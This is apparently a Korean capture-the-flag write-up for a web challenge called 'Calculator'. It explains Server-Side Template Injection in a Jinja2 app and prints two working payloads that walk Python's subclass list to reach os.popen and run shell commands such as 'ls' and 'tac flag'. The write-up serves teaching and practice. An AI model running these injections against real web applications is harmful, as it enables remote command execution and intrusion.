웹해킹/+
Calculator
육키티
2025. 1. 24. 01:46
위 그림 참고해서 SSTI 취약점을 확인해보자
jinja2 엔진을 사용한다. SSTI는 엔진에 맞는 라이트업을 찾아보았다.
참고자료 정리는 접은 글
더보기
Server-Side Template Injection(SSTI)
라온화이트햇 핵심연구팀 임재연
core-research-team.github.io
*SSTI
템플릿을 사용하여 웹 어플리케이션을 구동
-> 이때 user input이 템플릿 구문으로 인식되면 RCE까지 이어질 수 있는 취약점
템플릿이 여러개라서 문제마다 구문이 다름 보통은 {{4*4}}이던데 이 문제는 대괄호
[[...]] 구문은 값을 출력해줌 %나 #을 이요해서 주석, 반복문 등으로도 구문 삽입 가능
아래서 "".__class__에 접근할 건데 이게 뭐냐면
python 특수 attributes중에 하나 아래서는 클래스의 __base__를 참조했는데 class object에 접근
그리고 그걸 다시 subclasses()로 받으면 object의 서브 클래스 목록을 출력받을 수 있다
이중에서 원하는 클래스 끌어다가 RCE 가능
보통은 109 index 값 가져와서 popen으로 명령어 실행
109 index는 codecs.IncrementalDecoder
[["".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('ls').read()]]
[["".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('tac flag').read()]]
이렇게 하면 flag가 나온다.